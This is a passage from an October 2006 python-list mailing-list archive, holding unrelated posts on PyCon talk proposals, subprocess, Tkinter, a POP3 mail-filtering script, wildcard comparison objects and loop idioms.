> Thanks,
> 
> Isaac.



From jeff at taupro.com  Sat Oct  7 17:46:24 2006
From: jeff at taupro.com (Jeff Rush)
Date: Sat, 07 Oct 2006 16:46:24 -0500
Subject: Reminder re Talk Proposals for PyCon 2007
Message-ID: <45282030.8090401@taupro.com>

October has arrived and the deadline for submitting a proposal to give a talk
at PyCon 2007 is October 31 (November 15 for tutorials).  While it is a PyCon
tradition to wait until the last minute to flood us with submissions, I would
like to encourage presenters to start a bit earlier this year.

We have a new talk (not tutorial) submissions system which lets you interact
with your proposal online, rather than a fire-and-forget
one-chance-to-get-it-right approach.  You'll need to create a user account at:

    http://us.pycon.org/apps07/proposals/

Then you can post, revise and exchange a few comments with the proposal
reviewers, which can be useful to clarify your talk focus.

And it would be a great show of support, and relieve some stress of the
organizers, if those who are even considering giving a talk would create a
user account in the system.  You can still change your mind, but even a
skeletal proposal that you're pondering giving a talk about XYZ and you're
still working up your outline would be welcome.  It would help us in planning
topic coverage and whether we are reaching certain sectors of the Python
community.

PyCon is community-run and we need the involvement of everyone.  If you
didn't get the talks at previous PyCons you wanted, this is the
chance for you to make your wishes know.  If you can't give a talk, badger
(nicely) members of the relevant technical group to step forward.  Ask for a
talk in your forums.

We have a wiki page of topic idea at:

  http://us.pycon.org/TX2007/TalkIdeas

so add a link and create a subpage that contains the outline of your dream
talk, and then shop it around to find a speaker to give it. ;-)

Jeff Rush
PyCon 2007 Co-Chair
---
Python: Produce impressive results and have fun too!


From ask at me  Thu Oct 26 07:16:34 2006
From: ask at me (alf)
Date: Thu, 26 Oct 2006 07:16:34 -0400
Subject: subprocess-how to suppress the stdout
Message-ID: <gKKdnUgiTN9ePt3YnZ2dnUVZ_o6dnZ2d@comcast.com>

Hi,
I use subprocess to execute another program but need to suppress its stdout.

I can achieve it by using Popen(...,stdout=subprocess.PIPE,...) but 
wonder where the all stdout actually goes. Is it buffered (to eventually 
fill up)or just discarded?

Or there is a better solution ...

Thx, alf


From claus.tondering at gmail.com  Mon Oct  9 05:08:39 2006
From: claus.tondering at gmail.com (Claus Tondering)
Date: 9 Oct 2006 02:08:39 -0700
Subject: Tkinter: Making a window disappear
In-Reply-To: <1160384553.312778.275170@b28g2000cwb.googlegroups.com>
References: <1160384553.312778.275170@b28g2000cwb.googlegroups.com>
Message-ID: <1160384919.725322.112860@k70g2000cwa.googlegroups.com>

I just solved the problem myself:

I wrote:
>             self.destroy()

Writing "self.master.destroy()" instead does the trick.

Sorry for the inconvenience.
 
--
Claus Tondering



From makerjoe at gmail.com  Mon Oct 23 21:22:26 2006
From: makerjoe at gmail.com (makerjoe)
Date: 23 Oct 2006 18:22:26 -0700
Subject: pytho servlet engine
Message-ID: <1161652946.506350.207550@b28g2000cwb.googlegroups.com>

hi, all
i would like to know which is the best PSE i have to choose to use
servlets with mod_python in my HRYDROGEN project
(http://makerjoe.sytes.net/pycrud/query.psp)
thanks in advance

makerjoe



From roy at panix.com  Wed Oct 25 20:20:15 2006
From: roy at panix.com (Roy Smith)
Date: Wed, 25 Oct 2006 20:20:15 -0400
Subject: cleaner way to write this?
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<mailman.1218.1161819774.11739.python-list@python.org>
Message-ID: <roy-8EAFC8.20201525102006@reader2.panix.com>

In article <mailman.1218.1161819774.11739.python-list at python.org>,
 Ben Finney <bignose+hates-spam at benfinney.id.au> wrote:

> John Salerno <johnjsal at NOSPAMgmail.com> writes:
> 
> >          if dlg.ShowModal() == wx.ID_OK:
> >              db_name = dlg.GetValue()
> >              dlg.Destroy()
> >              return db_name
> >          else:
> >              dlg.Destroy()
> >              return
> 
> It's for reasons like this that I prefer to have only one 'return'
> from my functions.
> 
>     db_name = None
>     if dlg.ShowModal() == wx.ID_OK:
>         db_name = dlg.GetValue()
>     dlg.Destroy()
>     return db_name

Isn't this the kind of thing that the new-fangled "with" statement is 
supposed to solve?

     def create_db_name(self):
         with  wx.TextEntryDialog(self.frame, 'Enter a database name:',
                                  'Create New Database') as dlg:
            if dlg.ShowModal() == wx.ID_OK:
                db_name = dlg.GetValue()
                return db_name
            else:
                return

or something like that.  The problem here is that it looks like dlg is 
expecting to have Destroy() called instead of just being destructed.  
Which, of course, is the problem that RAII is supposed to solve :-)


From robert.kern at gmail.com  Wed Oct  4 00:13:08 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Tue, 03 Oct 2006 23:13:08 -0500
Subject: A Universe Set
In-Reply-To: <1159933937.606857.173770@k70g2000cwa.googlegroups.com>
References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com>
Message-ID: <efvccb$nee$1@sea.gmane.org>

jordan.nick at gmail.com wrote:
> Has the addition of a Universe Set object ever been suggested.  Like U
> = set(0), so that any object was a member of U?

In [61]: class UniverseSet(object):
    ....:         def __contains__(self, x):
    ....:             return True
    ....:

In [62]: U = UniverseSet()

In [63]: 1 in U
Out[63]: True

In [64]: 2 in U
Out[64]: True

In [65]: 'something' in U
Out[65]: True

In [66]: U in U
Out[66]: True


-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From kadeko at gmail.com  Fri Oct 13 16:31:34 2006
From: kadeko at gmail.com (looping)
Date: 13 Oct 2006 13:31:34 -0700
Subject: Big speed boost in os.walk in Python 2.5
References: <1160731646.651573.37150@i42g2000cwa.googlegroups.com>
	<mailman.459.1160755833.11739.python-list@python.org>
Message-ID: <1160771494.611967.309090@i3g2000cwc.googlegroups.com>

Fredrik Lundh wrote:
> looping wrote:
>
> >
> > Very nice, but somewhat strange...
> > Is Python 2.4.3 os.walk buggy ???
>
>
> Why are you asking if something's buggy when you've already figured out
> what's been improved?
>
You're right, buggy isn't the right word...

Anyway thanks for your detailed informations and I'm very pleased with
the performance improvement even if it's only a side effect and only on
Windows.



From georgeryoung at gmail.com  Tue Oct 17 20:44:56 2006
From: georgeryoung at gmail.com (georgeryoung at gmail.com)
Date: 17 Oct 2006 17:44:56 -0700
Subject: why should dict not be callable?
In-Reply-To: <mailman.659.1161113896.11739.python-list@python.org>
References: <1161113146.541464.80890@i3g2000cwc.googlegroups.com>
	<mailman.659.1161113896.11739.python-list@python.org>
Message-ID: <1161132296.020776.270400@e3g2000cwe.googlegroups.com>

On Oct 17, 3:37 pm, Fredrik Lundh <fred... at pythonware.com> wrote:
> georgeryo... at gmail.com wrote:
> > A couple of times recently I've come across this problem:  I have a
> > large list to sort and I need to the the "key=function" argument to
> > sort appropriately.  But I actually have the key mapping in a big
> > dictionary.so use a bound method:
>
>      L.sort(key=key_dict.get)

Duh!  Why didn't I think of that... Thanks guys, that's perfect.

-- George



From paul at boddie.org.uk  Tue Oct 10 07:23:08 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 10 Oct 2006 04:23:08 -0700
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<mailman.130.1160418618.11739.python-list@python.org>
	<HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>
Message-ID: <1160479388.070289.149870@h48g2000cwc.googlegroups.com>

Edward Diener No Spam wrote:
>
> In the typical RAD development environment, a particular component model
> allows one to drop components, which are classes corresponding to a
> particular inner representation which tells the development environment
> what are the "properties" and "events" of that component, and
> subsequently set "properties" for that component and add handlers for
> its "events" visually.

As others may have mentioned, Python has its own built-in support for
properties: changing the state of an object with optional side-effects.
Moreover, as you realise, Python also has capable introspection
mechanisms to reveal such properties at run-time. However, things like
event mechanisms are not generally standardised.

[...]

> OK, I have proselytized enough <g>. Python is a great language and I
> truly love it and its flexibility and ease of programming use. If there
> is no impetus to create a component model for re-usable components for
> visual RAD environments in Python, that's fine with me. But I thought
> someone from the Python development community, given the use of visual
> RAD environments for other languages as mentioned above, to create GUI
> and large-scale applications, would have considered it.

You might want to look into environments and tools such as Qt Designer
together with PyQt. Whilst the PyQt mechanisms (really the Qt
mechanisms exposed in Python) aren't standardised as such, you get
event and property mechanisms which are actually quite powerful and
which certainly seem to demonstrate many of the RAD environment
capabilities you're interested in: you can write Python components
which can be dropped into the Designer environment and they're
responsive to introspection and interaction right there and then.

See this presentation for more details:

http://indico.cern.ch/contributionDisplay.py?contribId=33&sessionId=41&confId=44

Paul



From fc14301589 at icqmail.com  Sat Oct  7 08:08:46 2006
From: fc14301589 at icqmail.com (TheSaint)
Date: Sat, 07 Oct 2006 20:08:46 +0800
Subject: Filter class
References: <451e32e7_2@news.tm.net.my>
Message-ID: <452798ce_1@news.tm.net.my>

On 17:02, sabato 30 settembre 2006 TheSaint wrote:

> Hello NG,
> 
> Curious to know whether exists a filter class.
> I'm doing some rough mail filtering on my own criteria, but I'm very new on
> programming and I like to find some clue on passing a config file of rules
> which will be regex by Python.
> 
> TIA

I went to study some long and I developed a small program, herebelow.
But I'd appreciate if it vill come some suggestion for a pythonic cosmetic
fashion :)

Thank to everybody.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#! /usr/bin/env python
"""" Test the mailserver to clean unwanted mail"""

from poplib import POP3
import ConfigParser , sys , os , re
MULTILINE = 8

def call_POP(args):
    if len(args) != 4: return
    for cnt in range(len(args)):
        if args[cnt] =='' or args[cnt] == None : return
    a = POP3(args[0])
    a.user(args[1])
    print 'Server %s reply %s' %(args[0], a.pass_(args[2]))
    (numMsgs, totalSize) = a.stat()
    msg9 = ''
    for i in range(1, numMsgs +1):
        for hdrline in a.top(i,0)[1]:
            for argmn in args[3]:
                if not re.search(argmn[1], hdrline): continue
                lsenty = 0
                if argmn[0].startswith('a') and not argmn[0].startswith('d'):
                    continue
                #list only the messages that aren't matching
                if lsenty == i: continue # no duplicate messages
                fwrt.write('Msg No %03d\nTEST  "%s" \n %s\n' \
                  %(i,argmn[1], hdrline))
                lsenty = i
    fwrt.write('\n\n')
    a.quit()

def get_mydir(file):
    if os.name == 'posix':
        adir = os.path.split(file)[0]
        afil = os.path.split(file)[1]
        if adir == '': adir = os.getcwd()
        for pth in ('~/', '$HOME/'):
            if pth in adir: adir = os.environ['HOME']
        file = adir + '/' + afil
    if not os.path.exists(file):
        print 'Configuration file not found'
        return 0
    return file

if len(sys.argv) != 3:
    print 'Incorrect  Number of arguments!'
    sys.exit(0)
infil = get_mydir(sys.argv[1])
if not infil: sys.exit(0)
opnfil = sys.argv[2]
fwrt = open(opnfil,'w')

cfg = ConfigParser.ConfigParser()
cfg.read(infil)
infil = ''
fltr = 'Filters'
if  fltr in cfg.sections():
    infil = cfg.items(fltr)
for section in cfg.sections():
    if section.lower() in ('setting', 'filters'): continue
    adir = 0
    afil = {}
    for pth in ('server', 'user', 'pass'):
        afil[adir] = cfg.get(section, pth)
        adir += 1
    afil[adir] = infil
    print 'Now trying to connect to ' + section
    call_POP(afil)
fwrt.close()

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Also the config File enclosed (some detail is obscured for obvious purposes).

==========================================================================
[Jaring]
PASS = xxxxxxxxxxxxxxxxxxx
USER = wwwwwwwwwwwwwwwwwwwww
SERVER = eeeeeeeeeeeeeeeee

[Vodafone]
SERVER = popmmmmmmmmmmmmmm
USER = godddllrrrrrrrrr
PASS = rrettttttttttt

[TMnet]
SERVER = fgotttttttttee
USER = gggggggrrrrrrdfng
PASS = rrrrrrrrrrrrrrro

[YahooIt]
SERVER = ffpogakfbmb
USER = fglkfrtrtthajl
PASS = fg8uarewaehueh

[Setting]
#All section is not impemented. It's supposed to give either a filepath or
# none
LOG = no
# obviously how much we want to know about the process
VERBOSE = 3
# Some case we won't need errors from python and let the matter die as is
SWALLOW_ERR = yes
# some implementation of threading to have the way to log on
# all the server in parallel
PARALLEL = yes

[Filters]
# A = Allow (anything which starts with "a" is filtered as allowed)
# to keep as good.

A01 = ^From: .*\.cz
A02 = ^(To|Cc): .*wwwwwwwwwwwwwwwwwwwww
A03 = ^(To|Cc): .*godddllrrrrrrrrr@
A04 = ^(To|Cc): .*fglkfrtrtthajl@
A05 = ^(To|Cc): .*122951205u@
A06 = ^From: .*\.my

# D = Deny (anything which starts with "a" is filtered as denied) and will
# fill the list for deletion.

D01 = ^From: .*\.com\.my
D02 = \*\*\*SPAM\*\*\*
==========================================================================

Let me say that is an experimental program for learning purpose, yet. More
things should be implemented like :
1 Real deletion for those email listed in the report file.
2 a single group pattern for the regex search
3 Logging errors and all functions mentioned in the "Setting" section.
4 last but not least a GUI.

The idea was born when i was looking for the "mailfilter" package for Arch
Linux. Actually has been retired. Then I tought " It would be good if a
platform indipendent program will do the same job or a bit more".

Testing on win32 platform is good help.
So, if somebody like to join, very welcome for all of the possible chances,
please try to contact me at _fulvio AT tm DOT net DOT my_.

Fulvio


From baur79 at gmail.com  Fri Oct 27 08:33:23 2006
From: baur79 at gmail.com (baur79 at gmail.com)
Date: 27 Oct 2006 05:33:23 -0700
Subject: PyQt-x11-gpl-3.16 compile error
Message-ID: <1161952403.534113.59630@f16g2000cwb.googlegroups.com>

[root at localhost PyQt-x11-gpl-3.16]# python configure.py -q
/usr/lib/qt-3.3/
This is the GPL version of PyQt 3.16 (licensed under the GNU General
Public
License) for Python 2.4.2 on linux2.

Type 'L' to view the license.
Type 'yes' to accept the terms of the license.
Type 'no' to decline the terms of the license.

Do you accept the terms of the license? yes
qextscintillaglobal.h could not be found in /usr/lib/qt-3.3/include and
so the
qtext module will not be built. If QScintilla is installed then use the
-n
argument to explicitly specify the correct directory.
Checking to see if the qtcanvas module should be built...
Checking to see if the qtnetwork module should be built...
Checking to see if the qttable module should be built...
Checking to see if the qtxml module should be built...
Checking to see if the qtgl module should be built...
Checking to see if the qtui module should be built...
Checking to see if the qtsql module should be built...
Checking to see if the QAssistantClient class is available...
Creating features file...
Error: Unable to build mkfeatures utility.


please help to fix the problem



From mmanns at gmx.net  Tue Oct 17 09:44:04 2006
From: mmanns at gmx.net (Martin Manns)
Date: Tue, 17 Oct 2006 13:44:04 GMT
Subject: Max-plus library
In-Reply-To: <1161070611.259347.153100@i42g2000cwa.googlegroups.com>
References: <aBTYg.65754$E67.63337@clgrps13>
	<mailman.602.1161037853.11739.python-list@python.org>
	<1161070611.259347.153100@i42g2000cwa.googlegroups.com>
Message-ID: <E65Zg.69100$E67.65943@clgrps13>

S?bastien Boisg?rault wrote:
> Robert Kern wrote:
>> Martin Manns wrote:
>>> Hello,
>>>
>>> Is there any library that allows employing max-plus dioids in
>>> python (e.g. based on numpy/scipy)?
>> Google says "no" and I haven't heard of any, so I imagine that there aren't.
>> There might be something buried in some of the control theory packages, but as I
>> neither know what max-plus dioids are, nor have I any current interest in them,
>> I can't give you any better pointers.
> 
> See http://cermics.enpc.fr/~cohen-g//SED/index-e.html for a two-page
> introduction to the field and its applications. Definitely worth a look
> IMHO.
> 
> The second software you refer to
> (http://www-rocq.inria.fr/MaxplusOrg/soft.html) is a Scilab package but
> essentially made of C and Fortran files. Getting a working binding for
> Python may not be that hard ...
> 

Thank you for the fast replies. Since I currently have not the time to
write bindings, I will probably have to stick to the Matlab implementation.

Martin


From steve at REMOVE.THIS.cybersource.com.au  Tue Oct 31 07:17:02 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Tue, 31 Oct 2006 23:17:02 +1100
Subject: How can I import a script with an arbitrary name ?
References: <1162217006.567079.315440@i42g2000cwa.googlegroups.com>
	<mailman.1513.1162252870.11739.python-list@python.org>
	<pan.2006.10.31.11.23.15.574722@REMOVE.THIS.cybersource.com.au>
	<mailman.1539.1162295116.11739.python-list@python.org>
Message-ID: <pan.2006.10.31.12.17.02.128776@REMOVE.THIS.cybersource.com.au>

On Tue, 31 Oct 2006 12:44:50 +0100, Fredrik Lundh wrote:

> Steven D'Aprano wrote:
> 
>> The only advantage (or maybe it is a disadvantage?) I can see to your
>> function is that it doesn't search the Python path and you can specify an
>> absolute file name.
> 
> that's the whole point of doing an explicit load, of course.  if you 
> think that's a disadvantage, you haven't done enough plugin work...

Guilty as charged.



-- 
Steven.



From mail at microcorp.co.za  Thu Oct  5 06:12:35 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Thu, 5 Oct 2006 12:12:35 +0200
Subject: Python/Tkinter crash.
References: <mailman.1242.1159951684.10491.python-list@python.org><rowen-E7230A.11154804102006@gnus01.u.washington.edu><mailman.1329.1160037609.10491.python-list@python.org>
	<7xlknv6sx7.fsf@ruckus.brouhaha.com>
Message-ID: <00b401c6e866$c7b56560$03000080@hendrik>


"Paul Rubin" <http://phr.cx at NOSPAM.invalid> wrote:
> "Hendrik van Rooyen" <mail at microcorp.co.za> writes:
> > I am not sure how to do this - once I have called the Tkinter
> > mainloop - that main thread is essentially event driven - and
> > figuring out how to get it to poll a queue for content is not
> > obvious - I suppose I could arrange some external wake up event that
> > I could activate to make it look at the queue - must read up on
> > this...
> 
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/82965
> 
Thank you Paul - this shows how nicely! - Hendrik



From tjreedy at udel.edu  Tue Oct  3 23:54:28 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 3 Oct 2006 23:54:28 -0400
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it><1159908166.587313.57370@i3g2000cwc.googlegroups.com><7xr6xo97nd.fsf@ruckus.brouhaha.com>
	<efv582$6i9$1@sea.gmane.org> <87ac4ciynk.fsf@benfinney.id.au>
Message-ID: <efvb9j$lck$1@sea.gmane.org>


"Ben Finney" <bignose+hates-spam at benfinney.id.au> wrote in message 
news:87ac4ciynk.fsf at benfinney.id.au...
> If we *know* that we can always get all the data out of the product,

As I understood B.C.'s announcement, that was one of the judging criteria, 
and the plan is for PSF to get a daily backup dump of the data.

tjr





From klingens at web.de  Sat Oct 14 14:25:46 2006
From: klingens at web.de (Alexander Klingenstein)
Date: Sat, 14 Oct 2006 20:25:46 +0200
Subject: .doc to html and pdf conversion with python
Message-ID: <1040822393@web.de>

I need to take a bunch of .doc files (word 2000) which have a little text including some tables/layout and mostly pictures and comvert them to a pdf and extract the text and images separately too. If I have a pdf, I can do create the html with pdftohtml called from python with popen. However I need an automated way to converst the .doc to PDF first.

Is there a way to do what I want either with a python lib, 3rd party app, or maybe remote controlling Word (a la VBA) by "printing" to PDF with a distiller?
I already tried wvware from gwnuwin32, however it has problems with big image files embedded in .doc file(looks like a mmap error).

Alex

______________________________________________________________________
XXL-Speicher, PC-Virenschutz, Spartarife & mehr: Nur im WEB.DE Club!		
Jetzt gratis testen! http://freemail.web.de/home/landingpad/?mc=021130



From cjw at sympatico.ca  Tue Oct  3 19:46:08 2006
From: cjw at sympatico.ca (Colin J. Williams)
Date: Tue, 03 Oct 2006 19:46:08 -0400
Subject: python html rendering
In-Reply-To: <d25b6e9a0610031545w33dba90g1abd0ec1fe5a94dd@mail.gmail.com>
References: <efum0b$2r2$1@sea.gmane.org>
	<d25b6e9a0610031545w33dba90g1abd0ec1fe5a94dd@mail.gmail.com>
Message-ID: <efuso2$kpp$1@sea.gmane.org>

Josh Bloom wrote:
> Hey Pierre,
> 
> I'm using this plug-in for wordpress to display Python code. 
> http://blog.igeek.info/wp-plugins/igsyntax-hiliter/
> It works pretty well and can display a lot of other languages as well.
> 
> -Josh
> 
> 
> On 10/3/06, *Pierre Imbaud* <pierre at saiph.com <mailto:pierre at saiph.com>> 
> wrote:
> 
>     Hi, Im looking for a way to display some python code
>     in html: with correct indentation, possibly syntax hiliting, dealing
>     correctly with multi-line comment, and... generating valid html code if
>     the python code itself deals with html (hence manipulates tag
>     litterals.
>     Thanks for your help!
> 
>     --
>     http://mail.python.org/mailman/listinfo/python-list
> 
> 
Another approach is to use PyScripter (an editor and IDE). One can 
generate documentation and then save the generated html doc.

Also PyDoc can be used directly.

Colin W.



From theller at python.net  Fri Oct  6 15:14:34 2006
From: theller at python.net (Thomas Heller)
Date: Fri, 06 Oct 2006 21:14:34 +0200
Subject: ctypes and setjmp
In-Reply-To: <45259596$0$32011$afc38c87@news.optusnet.com.au>
References: <45259596$0$32011$afc38c87@news.optusnet.com.au>
Message-ID: <eg69uq$svt$1@sea.gmane.org>

Richard Jones schrieb:
> Currently ctypes can't play well with any C code that requires use of setjmp
> as part of its API.
> 
> libpng is one of those libraries.
> 
> Can anyone think of a reasonable solution to this? Perhaps ctypes might be
> patched to offer setjmp support in foreign function definitions?
> 
> 
>     Richard
> 
I didn't know that setjmp/longjmp is actually used by production libraries
for error handling.

How is this pattern used in C?  Do you call setjump() before each api call,
or do you call setjump once, and then do all the api calls?  What do you do
when setjmp() returns != 0?  Exit the program?  Log a message?  How do you
determine which call failed?  How do you pass the jmp_buf that you passed to
setjmp() to the api call?

For ctypes, the only solution I can think of is to invent a new calling
convention, which will call setjmp() first internally before calling the
libpng api function...

Thomas



From fredrik at pythonware.com  Mon Oct  9 06:15:04 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 9 Oct 2006 12:15:04 +0200
Subject: Memory Management in python 2.5
References: <1160383218.694248.198570@b28g2000cwb.googlegroups.com><mailman.105.1160385400.11739.python-list@python.org>
	<1160388096.896262.212990@m73g2000cwd.googlegroups.com>
Message-ID: <egd7f9$vs8$1@sea.gmane.org>

cesar.ortiz at gmail.com wrote:

>I just checked the comsuptiom with the 'top' unix util. I am procesing
> html docs and the amount of memory rises continiously.

what library are you using for this ?

> I am using a lot of lists and docs. Some of them with objects. Do i
> have to make any special thing in order to get them released back to
> the Memory Manager? For instantec.. is it enough to do a clear() in a
> dictionary?

the garbage collector should take care of that, unless you're doing something
fishy.  maybe you're keeping pointers to documents you've already processed
in some data structure somewhere?

</F> 





From krm152 at bellatlantic.net  Tue Oct 24 17:32:54 2006
From: krm152 at bellatlantic.net (ken)
Date: Tue, 24 Oct 2006 21:32:54 GMT
Subject: strange problem
Message-ID: <aEv%g.8995$iM2.2455@trndny08>

This file has 1,000,000+ lines in it, yet when I print the counter 'cin' 
at EOF I get around 10,000 less lines. Any ideas?

    lineIn = 
csv.reader(file("rits_feed\\rits_feed_US.csv",'rb'),delimiter='|')
     for emp in lineIn:
         cin=cin+1
     print cin


From grante at visi.com  Tue Oct 31 14:03:46 2006
From: grante at visi.com (Grant Edwards)
Date: Tue, 31 Oct 2006 19:03:46 -0000
Subject: 3d programming without opengl
References: <mailman.1526.1162280594.11739.python-list@python.org>
Message-ID: <12kf7gishr60ta3@corp.supernews.com>

On 2006-10-31, nelson - <nelson1977 at gmail.com> wrote:

>    i want to build up a simple 3d interactive geometry application in
> python. Since i want to run it without 3D acceleration (a scene will
> be quite simple)

If you just want slow, it's probably easier to use OpenGL and
just put calls to time.sleep() in strategic places.

> I was wondering if there was a library in python that allow me
> to build 3D graphic without the need to use OpenGL.... I
> google but i can't find nothing interesting... (the best would
> be a pure python solution)

Oy.  A pure Python solution would probably be _really_ slow.

-- 
Grant Edwards                   grante             Yow!  YOW!! Up ahead! It's
                                  at               a DONUT HUT!!
                               visi.com            


From duncan.booth at invalid.invalid  Tue Oct 17 05:53:21 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 17 Oct 2006 09:53:21 GMT
Subject: A Universe Set
References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com>
	<mailman.1224.1159935216.10491.python-list@python.org>
	<slrnei7icb.gim.grahn+nntp@frailea.sa.invalid>
	<0dMYg.105676$5o5.58612@tornado.texas.rr.com>
	<mailman.568.1161008479.11739.python-list@python.org>
	<slrnej96mp.gim.grahn+nntp@frailea.sa.invalid>
Message-ID: <Xns985F6EC4AF124duncanbooth@127.0.0.1>

Jorgen Grahn <grahn+nntp at snipabacken.dyndns.org> wrote:

>>     >> - the wildcard object, which compares equal to everything else
>>
>       [Paul]
>>     Paul> class MatchAny(object):
>>     Paul>     def __cmp__(self,other):
>>     Paul>         return 0
>>
>>     Paul> wild = MatchAny()
> 
> FWIW, I define __eq__ in the one I (infrequently) use.

The advantage to using __eq__ is that it fails to work correctly less often 
than __cmp__. Compare skip's example where comparison against datetime give 
the wrong answer 100% of the time with __cmp__ and 50% of the time with 
__eq__/__ne__:

>>> import datetime
>>> class MatchAny(object):
        def __cmp__(self,other):
            return 0

        
>>> wild = MatchAny()
>>> print wild == datetime.datetime.now()
False
>>> print datetime.datetime.now() == wild
False
>>> print wild != datetime.datetime.now()
True
>>> print datetime.datetime.now() != wild
True
>>> class MatchAny(object):
        def __eq__(self,other):
            return True
        def __ne__(self,other):
            return False

        
>>> wild = MatchAny()
>>> print wild == datetime.datetime.now()
True
>>> print datetime.datetime.now() == wild
False
>>> print wild != datetime.datetime.now()
False
>>> print datetime.datetime.now() != wild
True


> 
>>     ...
>>
>> You're at the mercy of the comparison machinery implemented by
>> individual classes.  Executing this script (using any of Python 2.3
>> through what's currently in the SVN repository):
> ...
> 
> Oh. /Is/ there a way of making it work, then?  If we ignore the
> problems with having such objects in the first place, that is. 
> 
In a contained environment, it can be made to work 'well enough'. So if you 
are writing unit tests and want a wildcard element to include inside data 
structures, AND you can guarantee that you always assert in the order 
expected,actual, then you can probably get away with it. That's assuming 
you remembered to use __eq__/__ne__ rather than __cmp__.

For an object safe to let out in the wild though there isn't any way to 
implement it.


From fakeaddress at nowhere.org  Fri Oct  6 02:38:56 2006
From: fakeaddress at nowhere.org (Bryan Olson)
Date: Fri, 06 Oct 2006 06:38:56 GMT
Subject: How can I correct an error in an old post?
In-Reply-To: <1160096371.564954.132860@b28g2000cwb.googlegroups.com>
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>
	<slrnei2btn.gim.grahn+nntp@frailea.sa.invalid>
	<mailman.1100.1159803391.10491.python-list@python.org>
	<slrnei7hlp.gim.grahn+nntp@frailea.sa.invalid>
	<pvc9i2l14o2jhdapmqeudal2kvvuvtksht@4ax.com>
	<1160096371.564954.132860@b28g2000cwb.googlegroups.com>
Message-ID: <4SmVg.9105$GR.2172@newssvr29.news.prodigy.net>

Blair P. Houghton wrote:
> But they do about 10 things totally wrong with Google groups that
> I'd've fixed in my spare time in my first week if they'd hired me back
> when I was interviewing with them.
> 
> So if they want it to work, they know where to find me.

Doesn't seem likely, does it? But don't let it stop you. You don't
need Google's permission to build a better Usenet service. They
don't have any copyright on the posts, or other special protection.
I'm a former Googler myself and I use their service all the time,
but if yours is better I'll switch.


-- 
--Bryan


From fredrik at pythonware.com  Tue Oct 10 06:32:08 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 10 Oct 2006 12:32:08 +0200
Subject: operator overloading + - / * = etc...
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com><slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu><452820C1.5020607@tim.thechases.com>
	<egakob$76a$2@sea.gmane.org>
	<20061010114945.GA4478@dagan.sigpipe.cz>
Message-ID: <egfsr8$ant$1@sea.gmane.org>

Roman Neuhauser wrote:

> People who complain often fail to see how
>
>    x = foo()
>    while x:
>        process(x)
>        x = foo()
>
>    is safer than
>
>    while x = foo():
>        process(x)

that's spelled:

    for x in foo():
        process(x)

in Python, or, if foo() just refuses be turned into a well-behaved Python
citizen:

    while 1:
        x = foo()
        if not x:
            break
        process(x)

(this is the standard "loop-and-a-half" pydiom, and every python pro-
grammer should be able to identify it as such in a fraction of a second).

or for the perhaps-overly-clever hackers,

    for x in iter(lambda: foo() or None, None):
        process(x)

it's not like the lack of assignment-as-expression is forcing anyone to
duplicate code in today's Python.

also, in my experience, most assignment-as-expression mistakes are done
in if-statements, not while-statements (if not else because if statements are
a lot more common in most code).  the "but it cuts down on duplication"
argument doesn't really apply to if-statements.

</F> 





From scott.daniels at acm.org  Thu Oct 12 19:26:11 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Thu, 12 Oct 2006 16:26:11 -0700
Subject: 3D Vector Type Line-Drawing Program
In-Reply-To: <ZlzXg.5980$fl.1465@dukeread08>
References: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com>
	<qbBWg.21268$Ij.20727@newssvr14.news.prodigy.com>
	<452b17a7$1@nntp0.pdx.net> <8xYWg.5851$fl.4129@dukeread08>
	<452d2474$1@nntp0.pdx.net> <ZlzXg.5980$fl.1465@dukeread08>
Message-ID: <452ec6e7$1@nntp0.pdx.net>

Ron Adam wrote:
> Scott David Daniels wrote:
>> Ron Adam wrote:
>>> ... Is there a way to have the display show a wire frame image instead of 
>>> shaded shapes?
>> You can draw the edges as lines.
> 
> Is there a setting for this?, or are you suggesting reading the 
> coordinates and creating curve objects for the edges?
Nope, you'd have to make a poly line which was the wire frame, but it
would then rotate and such with the rest of the model.  Essentially
you would, for each primitive, have a wire-frame and a volumetric
version, and keep one of the two visible (with the other invisible)
at all times.

>>> Is there an easy way to convert a display to something that can be 
>>> printed?
>>
>> You can generate POV-ray source.  This is not a system for creating
>> beautiful pictures, but rather a great 3-D sketch pad.

Now POV-ray _will_ create beautiful pictures, but the texturing,
shading, and lighting control that POV-ray gives you exceeds that
of VPython.  You could use VPython to get you model built and view-
point placed, and the tweak the POV-ray code to get pretty output.

--Scott David Daniels
scott.daniels at acm.org


From fulvio at tm.net.my  Fri Oct 20 08:59:42 2006
From: fulvio at tm.net.my (Fulvio)
Date: Fri, 20 Oct 2006 20:59:42 +0800
Subject: Use I the classes?
Message-ID: <200610202059.43035.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


Hello,

I'm used to put up programs (small right now), but I could find the only way 
to define some functions.
I'm interested to split some function into class, but I don't have know-how 
for these beasts.
Looking for documents (free download) which clearly explain the way of 
programming python classes and lots of examples as a bonus.

Thanks

F




From bernard.chhun at gmail.com  Thu Oct 12 10:17:15 2006
From: bernard.chhun at gmail.com (Bernard)
Date: 12 Oct 2006 07:17:15 -0700
